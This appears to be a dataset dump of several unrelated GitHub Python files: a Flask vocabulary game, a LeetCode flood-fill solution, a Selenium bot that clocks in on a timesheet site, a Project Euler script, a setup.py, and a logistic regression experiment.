redirect(url_for('views.game', id = game_id))\n\n@views.route(\"/game//end\", methods =['POST', 'GET'])\ndef game_end(id):\n id = int(id)\n if request.method == 'POST':\n if request.form['action'] == 'play again':\n return redirect(url_for('views.start_game'))\n else:\n return render_template('stats.html',\n correct=Games[id].correct,\n current=Games[id].cur_id)\n\n\n@views.route(\"/game/\", methods =['POST', 'GET'])\ndef game(id):\n id = int(id)\n if request.method == 'POST':\n print(request.form.items())\n if request.form['user_input']:\n user_answer = request.form['user_input']\n check, correct_answer = Games[id].check_user_answer(user_answer)\n return render_template('result.html',\n user_answer = user_answer,\n correct_answer = correct_answer,\n current=Games[id].cur_id,\n correct=Games[id].correct)\n elif request.form['action'] == 'next':\n return redirect(url_for('views.game', id = game_id))\n elif request.form['action'] == 'play again':\n return redirect(url_for('views.start_game'))\n elif request.form['action'] == 'end':\n return redirect((url_for('views.game_end', id= id)))\n elif request.form['action'] == 'prev':\n return render_template('game.html',\n word_to_serve=Games[id].words[Games[id].cur_id-1],\n current = Games[id].cur_id-1,\n correct = Games[id].correct, user= current_user)\n\n else:\n #check game status, if game ended, display stats\n if(Games[id].game_over()):\n return redirect((url_for('views.game_end', id= id)))\n else:\n #if game ongoing, get next word,\n word = Games[id].get_next_word()\n return render_template('game.html',\n word_to_serve = word,\n current = Games[id].cur_id,\n correct = Games[id].correct, user= current_user)\n\n\n\nif __name__ == '__main__':\n app.run(host=\"0.0.0.0\", port=5102)\n\n\n\n\n","repo_name":"tamanna-a/vocab-game","sub_path":"website/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32161323745","text":"# Question: https://leetcode.com/explore/featured/card/may-leetcoding-challenge/535/week-2-may-8th-may-14th/3326/\n\n# Input: image: List[List[int]], sr: int, sc: int, newColor: int\n# Output: List[List[int]]\n\ndef floodFill(image, sr, sc, newColor):\n prevColor = image[sr][sc]\n image[sr][sc] = newColor\n \n # If new color is already the color of starting pixel, then return\n if prevColor == newColor:\n return(image)\n\n else:\n # Moving 1 cell up\n if sr-1 >= 0 and image[sr-1][sc] == prevColor:\n floodFill(image, sr-1, sc, newColor)\n\n # Moving 1 cell left\n if sc-1 >= 0 and image[sr][sc-1] == prevColor:\n floodFill(image, sr, sc-1, newColor)\n\n # Moving 1 cell right\n if sc+1 < len(image[0]) and image[sr][sc+1] == prevColor:\n floodFill(image, sr, sc+1, newColor)\n\n # Moving 1 cell down\n if sr+1 < len(image) and image[sr+1][sc] == prevColor:\n floodFill(image, sr+1, sc, newColor)\n\n return(image)\n\nprint(floodFill([[1,1,1],[1,1,0],[1,0,1]], 1,1,2)) # Output: [[2,2,2],[2,2,0],[2,0,1]]\n\"\"\"\nImage is represented as following, with the number at each cell denotes its color.\n 0 1 2\n0 [ 1 1 1 ]\n1 [ 1 1 0 ] Starting pixel is (1,1), whose color is 1\n2 [ 1 0 1 ]\n\nCells to be floodfilled: (0,0), (0,1), (0,2), (1,0), (1,1), (2,0)\n\"\"\"\n\nprint(floodFill([[1,2,1],[1,1,3],[1,4,1]], 2,0,2)) # Output: [[2,2,1],[2,2,3],[2,4,1]]\n\"\"\"\nImage is represented as following, with the number at each cell denotes its color.\n 0 1 2\n0 [ 1 2 1 ]\n1 [ 1 1 3 ] Starting pixel is (2,0), whose color is 1\n2 [ 1 4 1 ]\n\nCells to be floodfilled: (0,0), (0,1), (1,0), (1,1), (2,0)\n\"\"\"\n\nprint(floodFill([[0,0,0], [0,1,1]], 1,1,1)) # Output: [[0,0,0], [0,1,1]]\n\"\"\"\nImage is represented as following, with the number at each cell denotes its color.\n 0 1 2\n0 [ 0 0 0 ]\n1 [ 0 1 1 ] Starting pixel is (1,1), whose color is 1\n\nHere the starting pixel already has same color as the newColor\nThis eans no change will occur due to floodfilling\nHence, returning original image list as it is.\n\"\"\"","repo_name":"patel-himanshu/leetcode-problems","sub_path":"2020 - May LeetCoding Challenge/733-flood-fill.py","file_name":"733-flood-fill.py","file_ext":"py","file_size_in_byte":2140,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"26436818137","text":"from datetime import datetime, timedelta\nimport time\nimport logging\n\nimport yaml\nimport pathlib\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nfrom selenium.common.exceptions import TimeoutException, NoSuchElementException\n\n\n# defaults #\nYAML_FILE = \"bot.yaml\"\nBASE_URL = \"https://app.pontomaisweb.com.br/#\"\nLOGIN_URL = f\"{BASE_URL}/acessar\"\nPONTO_URL = f\"{BASE_URL}/meu_ponto/registro_de_ponto\"\nBUTTON_XPATH = \"//button[@class='btn btn-primary ng-binding ng-scope']\"\nMODAL_XPATH = \"//div[@class='modal-content']\"\nDELAY = 60\nWEBDRIVER_EXECUTABLE = \"chromedriver\"\n# CHECKIN_ENABLED = True # for debugging purposes\nCHECKIN_ENABLED = False # for debugging purposes\n\n\n# globais #\ndriver = selenium_config = None\nconfig = {}\nlog_name = 'log/bot_checkin-{:%Y-%m}.log'.format(datetime.now())\npathlib.Path('log').mkdir(parents=True, exist_ok=True)\npathlib.Path('screenshot').mkdir(parents=True, exist_ok=True)\n\nlogging.basicConfig(format=u'%(asctime)s - %(name)s - %(levelname)s - %(message)s',\n level=logging.INFO,\n handlers=[logging.FileHandler(log_name, encoding='utf-8'), logging.StreamHandler()])\nlogger = logging.getLogger(\"bot_checkin\")\nlogger.setLevel(logging.DEBUG)\n\n\ndef scr_file_ok():\n return 'screenshot/screenshot-{:%Y%m%d_%H%M%S}-OK.png'.format(datetime.now())\n\n\ndef scr_file_error():\n return 'screenshot/screenshot-{:%Y%m%d_%H%M%S}-ERROR.png'.format(datetime.now())\n\n\ndef get_delta(ttt):\n return timedelta(seconds=(time.time() - ttt))\n\n\ndef load_config(yaml_file=YAML_FILE):\n global config\n if config is None:\n with open(YAML_FILE, 'r') as stream:\n logger.debug('Carregando Yaml')\n try:\n config = yaml.safe_load(stream)\n except yaml.YAMLError:\n logger.exception('Falha ao carregar yaml')\n else:\n logger.debug('Yaml já carregado')\n\ndef resolve_urls():\n ponto_mais = config.get('pontomais')\n ponto_mais_urls = ponto_mais.get('urls')\n login_url = LOGIN_URL\n ponto_url = PONTO_URL\n if ponto_mais_urls:\n base_url = ponto_mais_urls.get('base', BASE_URL)\n if 'login' in ponto_mais_urls:\n login_url = f\"{base_url}{ponto_mais_urls['login']}\"\n if 'ponto' in ponto_mais_urls:\n ponto_url = f\"{base_url}{ponto_mais_urls['ponto']}\"\n return login_url, ponto_url\n\ndef init_driver():\n global driver, selenium_config\n\n chrome_options = webdriver.ChromeOptions()\n chrome_options.add_argument(\"--disable-extensions\")\n chrome_options.add_argument(\"--disable-gpu\")\n chrome_options.add_argument(\"--log-level=OFF\")\n chrome_options.add_argument(\"window-size=800,600\")\n # chrome_options.add_argument(\"--no-sandbox\") # linux only\n # chrome_options.add_argument(\"--headless\")\n driver_executable = WEBDRIVER_EXECUTABLE\n\n selenium_config = config.get('selenium')\n if selenium_config:\n chrome_options.binary_location = selenium_config.get('chrome_binary_path', '')\n driver_executable = selenium_config.get('driver_executable', driver_executable)\n driver = webdriver.Chrome(executable_path=driver_executable, options=chrome_options)\n\n\ndef do_login():\n # driver.set_window_size(900, 800)\n login_url, ponto_url = resolve_urls()\n config_login = config['pontomais']['login']\n logger.debug(f\"Abrindo url de login: {login_url}\")\n driver.get(login_url)\n logger.debug(f\"Abrindo {login_url}\")\n driver.find_element_by_name(\"login\").send_keys(config_login['user'])\n pw = driver.find_element_by_name(\"password\")\n pw.send_keys(config_login['pass'])\n ttdi = time.time()\n pw.send_keys(Keys.RETURN)\n logger.debug(f\"Fazendo login, verificando troca de url: {ponto_url}\")\n\n load_timeout = DELAY\n if 'selenium' in config:\n config['selenium'].get('timeout', DELAY)\n button_xpath = BUTTON_XPATH\n if 'elements' in config['pontomais']:\n button_xpath = config['pontomais']['elements'].get('register_button_xpath', BUTTON_XPATH)\n\n try:\n WebDriverWait(driver, load_timeout).until(EC.url_matches(ponto_url))\n logger.debug(f\"Chegou na pagina {ponto_url}, tempo: {get_delta(ttdi)}\")\n ttdb = time.time()\n WebDriverWait(driver, load_timeout).until(EC.presence_of_element_located((By.XPATH, button_xpath)))\n logger.info(f\"Carregou o botao na pagina, tempo: {get_delta(ttdi)} - Só Botão: {get_delta(ttdb)}\")\n return True\n except TimeoutException:\n scrshot_error = scr_file_error()\n driver.save_screenshot(scrshot_error)\n logger.exception(f\"Loading took too much time! (timeout: {load_timeout}s), error screenshot: {scrshot_error}\")\n return False\n\n\ndef do_checkin():\n load_timeout = DELAY\n button_xpath = BUTTON_XPATH\n modal_xpath = MODAL_XPATH\n\n if 'elements' in config['pontomais']:\n button_xpath = config['pontomais']['elements'].get('register_button_xpath', BUTTON_XPATH)\n modal_xpath = config['pontomais']['elements'].get('register_modal_xpath', MODAL_XPATH)\n\n if 'selenium' in config:\n config['selenium'].get('timeout', DELAY)\n\n try:\n button = driver.find_element_by_xpath(button_xpath)\n logger.debug(f\"Botao encontrado: '{button.text}' (XPATH: {button_xpath})\")\n # check (ElementClickInterceptedException): https://stackoverflow.com/a/56779923/926055\n time.sleep(0.5)\n\n ttdm = time.time()\n\n if CHECKIN_ENABLED:\n button.click()\n WebDriverWait(driver, load_timeout).until(EC.presence_of_element_located((By.XPATH, modal_xpath)))\n modal = driver.find_element_by_xpath(modal_xpath)\n try:\n # modelo original: \\ue5cd\\nPonto registrado com sucesso!\\nRecibo nº 00305705964\\nOK\n modal_text = modal.text.split('\\n')\n logger.debug(f\"Confirmou batida de ponto {repr(modal_text)} recibo: {modal_text[-2].split()[-1]}\")\n except UnicodeEncodeError:\n logger.exception(f\"Falha de unicode com o texto: {repr(modal.text)}\")\n\n scrshot_ok = scr_file_ok()\n driver.save_screenshot(scrshot_ok)\n logger.info(f\"Finalizou batida de ponto, tempo: {get_delta(ttdm)}, screenshot: {scrshot_ok}\")\n except NoSuchElementException:\n scrshot_error = scr_file_error()\n driver.save_screenshot(scrshot_error)\n logger.exception(f'Não encontrou o botao! (error screenshot: {scrshot_error})')\n except TimeoutException:\n scrshot_error = scr_file_error()\n driver.save_screenshot(scrshot_error)\n logger.exception(f\"Carregamento demorou demais! (timeout: {load_timeout}s), error screenshot: {scrshot_error}\")\n return False\n\n\ndef finish():\n global driver\n logger.info(f\"finalizando: {driver.current_url}\")\n driver.close()\n driver = None\n\n\ndef run_checkin():\n logger.info('======================== inicio ========================')\n load_config()\n ttt = time.time()\n init_driver()\n ttl = time.time()\n try:\n if do_login():\n logger.info(f\"Tempo de login: {get_delta(ttl)}\")\n ttcin = time.time()\n do_checkin()\n logger.info(f\"Tempo de checkin: {get_delta(ttcin)}\")\n except Exception:\n logger.exception(\"Falha ao fazer checkin\")\n finish()\n logger.info(f\"============== Tempo total: {get_delta(ttt)} ==============\")\n\nif __name__ == \"__main__\":\n run_checkin()\n","repo_name":"mesias/pontomais_bot","sub_path":"webbot/check_in.py","file_name":"check_in.py","file_ext":"py","file_size_in_byte":7615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"41859508110","text":"from helpers import analytics\nanalytics.monitor()\n\ndef perfectTriplets(limit):\n count,count2 = 0,0\n c, m = 0, 2\n while c < limit:\n for n in range(m%2+1,m,2): \n x,y,z = m**2 - n**2, 2*m*n, m**2+n**2\n a,b,c = x**2 - y**2, 2*x*y, z**2\n A = x*y*(x**2-y**2)\n if A % 84 != 0:\n count += 1\n else:\n count2 += 1\n m += 1\n return count,count2\n\ndef main():\n limit = int(1e16)\n return perfectTriplets(limit+1)\n\nprint(main(), analytics.lap(), analytics.maxMem())","repo_name":"Phyisis/Problems","sub_path":"src/201-300/P218.py","file_name":"P218.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"22557512645","text":"import setuptools\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n name=\"simpleclmenu\",\n packages=['simpleclmenu'],\n version=\"1.0.0\",\n author=\"matjojo\",\n author_email=\"\",\n description=\"Simple commandline menu for python\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/matjojo/simpleclmenu\",\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"Intended Audience :: Developers\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n \"Development Status :: 5 - Production/Stable\",\n ],\n python_requires='>=3.7',\n)\n","repo_name":"matjojo/simpleclmenu","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"38394416890","text":"# ================== Import Statement ===================\n\nimport numpy as np \nimport statistics\nimport random\nfrom copy import deepcopy\nfrom math import exp\nfrom math import log\nimport matplotlib.pyplot as plt\nfrom matplotlib.font_manager import FontProperties\nimport matplotlib.patheffects as path_effects\nfrom matplotlib import rcParams\nimport sys\n\n# some default changes .....\nreload(sys) \nsys.setdefaultencoding('utf8')\n# Font properties Change\nrcParams['font.family'] = 'serif'\nrcParams['font.sans-serif'] = ['Tahoma']\nrcParams.update({'font.size':10})\n\n# function to print array\ndef print_arr(arr):\n\tcount = 0\n\tfor i in arr:\n\t\tprint (i)\n\tprint(len(arr))\n\n# function to convert an m*n matrix to n*m matrix\ndef convertMat(mat):\n\toutMat = []\n\trows = len(mat[0])\n\tcols = len(mat)\n\tfor i in range(rows):\n\t\ttemp = []\n\t\tfor j in range(cols):\n\t\t\ttemp.append(mat[j][i])\n\t\toutMat.append(deepcopy(temp))\n\treturn outMat\n\n\n# function to calculate mean\ndef mean(l):\n\treturn sum(l)/len(l)\n\n# function to partition dataset.\ndef partition_dataset(dataset,output_dataset,percentage):\n\tlen_dataset = len(dataset)\n\tlen_new_arr = int(percentage*float(len_dataset)/100)\n\tnew_dataset = []\n\tnew_dataset_output = []\n\tdataset_1 = []\n\toutput_dataset_1 = []\n\ttmp_arr = []\n\tfor i in range(len_new_arr):\n\t\ttemp = random.randint(1,len_dataset-1)\n\t\tif temp in tmp_arr:\n\t\t\twhile temp in tmp_arr:\n\t\t\t\ttemp = random.randint(1,len_dataset-1)\n\t\ttmp_arr.append(temp)\n\ttmp_arr.sort()\n\tj = 0\n\tfor i in range(len(dataset)):\n\t\tif (j>= len(tmp_arr)):\n\t\t\tdataset_1.append(deepcopy(dataset[i]))\n\t\t\toutput_dataset_1.append(deepcopy(output_dataset[i]))\n\t\telif (i == tmp_arr[j]):\n\t\t\tnew_dataset.append(deepcopy(dataset[i]))\n\t\t\tnew_dataset_output.append(deepcopy(output_dataset[i]))\n\t\t\tj += 1\n\t\telse :\n\t\t\tdataset_1.append(deepcopy(dataset[i]))\n\t\t\toutput_dataset_1.append(deepcopy(output_dataset[i]))\n\treturn dataset_1,output_dataset_1,new_dataset,new_dataset_output\n\n\n# function to create dataset.\n\ndef Read_data(filepath):\n\tnum_dataset = 0\n\tdata_arr = []\n\toutput_arr = []\n\n\twith open(filepath) as fp:\n\t\tline = fp.readline()\n\t\twhile (line):\n\t\t\ttemp_arr = line.split(',')\n\t\t\ttemp_output = temp_arr[-1]\n\t\t\tdel temp_arr[-1:]\n\t\t\toutput_arr.append(int(temp_output))\n\t\t\t\n\t\t\ttemp_arr = list(map(float, temp_arr))\n\t\t\tdata_arr.append(temp_arr)\n\n\t\t\tline = fp.readline()\n\t\t\tnum_dataset = num_dataset + 1\n\t\t\t\n\treturn data_arr,output_arr\n\n# function to standardize_dataset\ndef standardize_dataset(data_arr):\n\tmean_arr = []\n\tsd_arr = []\n\tfor i in range(len(data_arr)):\n\t\ttmp_mean = mean(data_arr[i])\n\t\ttmp_sd = statistics.stdev(data_arr[i])\n\t\tmean_arr.append(tmp_mean)\n\t\tsd_arr.append(tmp_sd)\n\t\tfor j in range(len(data_arr[i])):\n\t\t\tdata_arr[i][j] = (data_arr[i][j] -tmp_mean)/tmp_sd\n\treturn data_arr,mean_arr,sd_arr\n\n\n# function to calcuate norm \ndef norm(w):\n\tsum = 0\n\tfor i in range(len(w)):\n\t\tsum += w[i]*w[i]\n\treturn sum\n\n# function to calcualte error\ndef calc_error(X,Y,w,tmp_lambda):\n\ttmp_sum = 0\n\ttmp_f_of_x = X.dot(w)\n\t\n\tfor i in range(len(X)):\n\t\tif (tmp_f_of_x[i] > 10) :\n\t\t\ttmp_f_of_x[i] = 10\n\t\telif (tmp_f_of_x[i] < -10) :\n\t\t\ttmp_f_of_x[i] = -10\n\t\n\t\ttmp = 1.0/(1+ exp(-tmp_f_of_x[i]))\n\t\tif (tmp == 0 ):\n\t\t\ttmp = 0.0000001\n\t\telif (tmp == 1):\n\t\t\ttmp = 0.999999\n\t\ttmp_sum = tmp_sum + Y[i]*log(tmp,10) + (1-Y[i])*log(1-tmp,10)\n\t\t\n\t# print(tmp_sum/len(X) + tmp_lambda*norm(w))\n\treturn tmp_sum/len(X) + tmp_lambda*norm(w)\n\n# function to calculate the descent\ndef calc_gradient_desent(X,Y,w,index):\n\ttmp_sum = 0\n\ttmp_f_of_x = X.dot(w)\n\n\tfor i in range(len(X)):\n\t\t# print(tmp_f_of_x[i])\n\t\tif (tmp_f_of_x[i] > 10) :\n\t\t\ttmp_f_of_x[i] = 10\n\t\telif (tmp_f_of_x[i] < -10) :\n\t\t\ttmp_f_of_x[i] = -10\n\n\t\ttmp = 1.0/(1+ exp(-tmp_f_of_x[i]))\n\t\ttmp_sum = tmp_sum + (tmp - Y[i])*X[i][index]\n\t\t\n\treturn tmp_sum \n\n# function to calcuate netown rapson update\ndef calc_newton_rapson(X,Y,w,index,tmp_lambda):\n\tideintity_matrix = []\n\tfor i in range(len(X[0])):\n\t\ttmp_arr = []\n\t\tfor j in range(len(X[0])):\n\t\t\tif (i==j):\n\t\t\t\ttmp_arr.append(1)\n\t\t\telse :\n\t\t\t\ttmp_arr.append(0)\n\t\tideintity_matrix.append(tmp_arr)\n\n\tideintity_matrix = np.asarray(ideintity_matrix)\n\n\ttmp_sum = 0\n\ttmp_f_of_x = X.dot(w)\n\tf_of_x = []\n\tR = []\n\tfor i in range(len(X)):\n\t\tif (tmp_f_of_x[i] > 10) :\n\t\t\ttmp_f_of_x[i] = 10\n\t\telif (tmp_f_of_x[i] < -10) :\n\t\t\ttmp_f_of_x[i] = -10\n\n\t\ttmp = 1.0/(1+ exp(-tmp_f_of_x[i]))\n\t\tf_of_x.append(tmp)\n\t\ttmp_arr = []\n\t\tfor j in range(len(X)):\n\t\t\tif (i==j):\n\t\t\t\ttmp_arr.append(tmp*(1-tmp))\n\t\t\telse :\n\t\t\t\ttmp_arr.append(0)\n\t\tR.append(tmp_arr)\n\n\tout_arr = (np.matmul(np.linalg.pinv(np.matmul(np.matmul(np.transpose(X),R), X ) + tmp_lambda*ideintity_matrix ),np.transpose(X))).dot(f_of_x-Y) + tmp_lambda*w\n\treturn out_arr\n\n# function to perform logistic regression.\ndef mylogistic_regression_nr(X,Y,tmp_lambda,num_itter):\n\talpha = 0.0001\n\tcount = 1\n\tw = []\n\tif (len(X) != 0):\n\t\tfor i in range(len(X[0])):\n\t\t\tw.append(0)\n\telse :\n\t\tprint(\"Invalid Dataset... Exiting !!!!\")\n\t\texit()\n\n\tw = np.asarray(w, dtype = float)\n\n\ttmp_error = calc_error(X,Y,w,tmp_lambda)\n\ttmp_arr_w = calc_newton_rapson(X,Y,w,i,tmp_lambda)\n\tfor i in range(len(w)):\n\t\tw[i] = w[i] - (tmp_arr_w[i] )\n\t\t\n\tnew_error = calc_error(X,Y,w,tmp_lambda)\n\t\n\twhile(abs(new_error - tmp_error) >= 0.000001 and count < num_itter):\n\t\ttmp_error = new_error\n\t\ttmp_arr_w = calc_newton_rapson(X,Y,w,i,tmp_lambda)\n\t\tfor i in range(len(w)):\n\t\t\tw[i] = w[i] - (tmp_arr_w[i] )\n\n\t\tnew_error = calc_error(X,Y,w,tmp_lambda)\n\t\tcount += 1\n\t\n\t# print(\"Newton Rapson:::: Number of Itterations = \" + str(count))\n\treturn w\n\n\n# function to perform gradient descent.\ndef mylogistic_regression_gd(X,Y,tmp_lambda,num_itter):\n\talpha = 0.00001\n\tcount = 1\n\tw = []\n\tif (len(X) != 0):\n\t\tfor i in range(len(X[0])):\n\t\t\tw.append(0)\n\telse :\n\t\tprint(\"Invalid Dataset... Exiting !!!!\")\n\t\texit()\n\n\tw = np.asarray(w, dtype = float)\n\ttmp_error = calc_error(X,Y,w,tmp_lambda)\n\n\n\tfor i in range(len(w)):\n\t\tw[i] = w[i] - alpha*(calc_gradient_desent(X,Y,w,i) + tmp_lambda*2*w[i])\n\t\t\n\tnew_error = calc_error(X,Y,w,tmp_lambda)\n\t\n\t# print(new_error,tmp_error),\n\t\n\twhile(abs(new_error - tmp_error) >= 0.0000001 and count < num_itter):\n\t\ttmp_error = new_error\n\t\t# print(count),\n\t\tfor i in range(len(w)):\n\t\t\t# print (\"w is \"+ str(w))\n\t\t\tw[i] = w[i] - alpha*(calc_gradient_desent(X,Y,w,i) + tmp_lambda*2*w[i])\n\t\tnew_error = calc_error(X,Y,w,tmp_lambda)\n\t\tcount += 1\n\n\t\n\t# print(\"Gradient Descent:::: Number of Itterations = \" + str(count))\n\treturn w\n\n# function to calculte error.\ndef error_caclulation(X,Y,w):\n\ttmp_arr = X.dot(w)\n\tf_of_x = []\n\tfor i in range(len(tmp_arr)):\n\t\tif (tmp_arr[i] > 10) :\n\t\t\ttmp_arr[i] = 10\n\t\telif (tmp_arr[i] < -10) :\n\t\t\ttmp_arr[i] = -10\n\n\t\tf_of_x.append(1.0/(1+ exp(-tmp_arr[i])))\n\n\treturn meansquarederr(f_of_x,Y)\n\n\n# a utility function to cacluate error.\ndef meansquarederr(T, Tdash):\n\tsum_out = 0\n\tif (len(T) != len(Tdash)):\n\t\tprint(\"output len missmatch error Exiting !!!!!\")\n\t\texit()\n\tfor i in range(len(T)):\n\t\t# if ( (T[i] >=0.5 and Tdash[i] == 1) or (T[i] < 0.5 and Tdash[i] == 0) ):\n\t\t\t# sum_out += 1\n\t\tsum_out += (T[i] - Tdash[i])*(T[i] - Tdash[i])\n\n\t# return sum_out*100.0/len(T)\n\treturn float(sum_out)/len(T)\n\n# function to calculte accuracy.\ndef error_caclulation_acc(X,Y,w):\n\ttmp_arr = X.dot(w)\n\t# print(Y)\n\tf_of_x = []\n\tfor i in range(len(tmp_arr)):\n\t\tif (tmp_arr[i] > 10) :\n\t\t\ttmp_arr[i] = 10\n\t\telif (tmp_arr[i] < -10) :\n\t\t\ttmp_arr[i] = -10\n\n\t\tf_of_x.append(1.0/(1+ exp(-tmp_arr[i])))\n\n\treturn meansquarederr_acc(f_of_x,Y)\n\n\n# a utility function to cacluate accuracy.\ndef meansquarederr_acc(T, Tdash):\n\tsum_out = 0\n\tif (len(T) != len(Tdash)):\n\t\tprint(\"output len missmatch error Exiting !!!!!\")\n\t\texit()\n\tfor i in range(len(T)):\n\t\t# print(\"*******svscskjdckjcjbkc\")\n\t\t# print(T[i] , Tdash[i])\n\t\tif ( (T[i] >=0.5 and Tdash[i] == 1) or (T[i] < 0.5 and Tdash[i] == 0) ):\n\t\t\tsum_out += 1\n\t\t# sum_out += (T[i] - Tdash[i])*(T[i] - Tdash[i])\n\n\treturn sum_out*100.0/len(T)\n\t# return float(sum_out)/len(T)\n\n\n# function to perform feature transform.\ndef featuretransform(X, degree):\n\tnew_dataset = []\n\tfor k in range(len(X)):\n\t\ttmp_arr = []\n\t\tfor i in range(degree+1):\n\t\t\tfor j in range(degree+1):\n\t\t\t\tif (i+j > degree):\n\t\t\t\t\tcontinue\n\t\t\t\telse :\n\t\t\t\t\t# print(X[k][0], X[k][1])\n\t\t\t\t\ttmp_arr.append((X[k][1]**i)*(X[k][2]**j))\n\t\tnew_dataset.append(tmp_arr)\n\treturn new_dataset\n\n\n\n\n# call Read data function to make the dataset.\nfilepath = \"./l2/credit.txt\"\ndata_arr,output_arr = Read_data(filepath)\n\ndata_arr_backup = deepcopy(data_arr)\noutput_arr_backup = deepcopy(output_arr)\n\n\n# partitioning the dataset\ntraning_dataset,traning_output,test_dataset,test_output = partition_dataset(data_arr,output_arr,1)\n\n# standardizing dataset\ntraning_dataset = convertMat(traning_dataset)\ntraning_dataset,mean_arr,sd_arr = standardize_dataset(traning_dataset)\ntraning_dataset = convertMat(traning_dataset)\n\nfor k in range(len(traning_dataset)):\n\ttraning_dataset[k].insert(0,1)\n\t\nfor k in range(len(test_dataset)):\n\ttest_dataset[k].insert(0,1)\n\n# converting the array to np array\ntraning_dataset = np.asarray(traning_dataset, dtype = float)\ntraning_output = np.asarray(traning_output, dtype = float)\n\ntest_dataset = np.asarray(test_dataset, dtype = float)\ntest_output = np.asarray(test_output, dtype = float)\n\n\n# ******************************************\n\n# making lambda array to perform logistic regression on variable number of lambda's\nn = 50\nlambda_Arr = [float(x + 1)/n for x in range(n)]\nlambda_Arr.insert(0,0.0001)\nlambda_Arr.insert(1,0.001)\n# variation of error with different lambda\n\nprint (\"\\n*******************************************\\n\")\nprint(\"\\nPrinting the effect of Lmabda on Error. The values \\nof lambda are \")\nfor i in lambda_Arr:\n\tprint(i),\nprint(\"\\n\")\n\nerror_vs_lamba_arr_nr= []\nerror_vs_lamba_arr_gd = []\nfor j in range(len(lambda_Arr)):\n\t# print(\"\\nlambda equal \" + str(lambda_Arr[j]))\n\ttmp_arr = mylogistic_regression_nr(traning_dataset,traning_output,lambda_Arr[j],1000)\n\ttmp_arr2 = mylogistic_regression_gd(traning_dataset,traning_output,lambda_Arr[j],1000)\n\n\terror_vs_lamba_arr_nr.append(error_caclulation(traning_dataset,traning_output,tmp_arr))\n\terror_vs_lamba_arr_gd.append(error_caclulation(traning_dataset,traning_output,tmp_arr2))\n\nprint(\"Error vs lambda (Newton Rapson)\")\nfor i in error_vs_lamba_arr_nr:\n\tprint (i),\nprint(\"\\n\")\nprint(\"\\nError vs lambda (Gradiend Descent\")\n\nfor i in error_vs_lamba_arr_gd:\n\tprint (i),\nprint(\"\\n\")\n\n# ********************************************\n# variation of error with number of itteration.\n\nerror_arr_nr = []\nerror_arr_gd = []\nnum_itter_arr = [1,5,10,15,20,25,30,35,40,45,50,60,70,80,80,90,100,500,1000,10000]\n\nprint (\"\\n*******************************************\\n\")\nprint (\"\\nPrinting Effect of Number of itteration on Error.\\nThe value of number of Itterations are folllowing\")\n\nfor i in num_itter_arr:\n\tprint(i),\nprint(\"\\n\")\n\nfor i in range(len(num_itter_arr)):\n\t# print(\"maximum itteration value = \" + str(num_itter_arr[i]))\n\ttmp_arr = mylogistic_regression_nr(traning_dataset,traning_output,0.5,num_itter_arr[i])\n\ttmp_arr2 = mylogistic_regression_gd(traning_dataset,traning_output,0.5,num_itter_arr[i])\n\n\terror_arr_nr.append(error_caclulation(traning_dataset,traning_output,tmp_arr))\n\terror_arr_gd.append(error_caclulation(traning_dataset,traning_output,tmp_arr2))\n\nprint(\"\\n\")\nprint(\"Error vs Numnber of Itterations (Newton Rapson\")\n\nfor i in error_arr_nr:\n\tprint (i),\nprint(\"\\n\")\n\nprint(\"\\nError vs Numnber of Itterations (Gradient Descent)\")\n\n\nfor i in error_arr_gd:\n\tprint (i),\nprint(\"\\n\")\n\n# ********************************************\n\n# calculating error wrt degree\nprint (\"\\n*******************************************\\n\")\nprint(\"\\nLogistic regression after basis function.\\nThe value of Degree of polynomial are following\")\nerror_arr_nr_deg = []\nerror_arr_gd_deg = []\n\nerror_arr_nr_deg_acc = []\nerror_arr_gd_deg_acc = []\ndegree_arr = [1,2,3,4,5,6,7,8,9,10]\n\nfor i in degree_arr:\n\tprint (i),\nprint(\"\\n\")\n\nw_arr_nr = []\nw_arr_gd = []\nfor i in range(len(degree_arr)):\n\n\tnew_dataset = featuretransform(traning_dataset,degree_arr[i])\n\tnew_dataset = np.asarray(new_dataset)\n\n\ttmp_arr = mylogistic_regression_nr(new_dataset,traning_output,0.5,1000)\n\ttmp_arr2 = mylogistic_regression_gd(new_dataset,traning_output,0.5,1000)\n\n\tw_arr_gd.append(tmp_arr2)\n\tw_arr_nr.append(tmp_arr)\n\n\terror_arr_nr_deg.append(error_caclulation(new_dataset,traning_output,tmp_arr))\n\terror_arr_gd_deg.append(error_caclulation(new_dataset,traning_output,tmp_arr2))\n\n\terror_arr_nr_deg_acc.append(error_caclulation_acc(new_dataset,traning_output,tmp_arr))\n\terror_arr_gd_deg_acc.append(error_caclulation_acc(new_dataset,traning_output,tmp_arr2))\n\n\n# print (\"\\n*******************************************\\n\")\n# print(\"\\nLogistic regression after basis function for diferent lambda \")\nerror_arr_nr_4_lambda = []\nerror_arr_gd_4_lambda = []\nfor i in range(len(lambda_Arr)):\n\t# print(\"\\nlambda equal \" + str(lambda_Arr[i]))\n\tnew_dataset = featuretransform(traning_dataset,4)\n\tnew_dataset = np.asarray(new_dataset)\n\n\n\ttmp_arr = mylogistic_regression_nr(new_dataset,traning_output,lambda_Arr[i],1000)\n\ttmp_arr2 = mylogistic_regression_gd(new_dataset,traning_output,lambda_Arr[i],1000)\n\n\terror_arr_nr_4_lambda.append(error_caclulation(new_dataset,traning_output,tmp_arr))\n\terror_arr_gd_4_lambda.append(error_caclulation(new_dataset,traning_output,tmp_arr2))\n\n\n# ********************************************************************\n# ********************** Plots 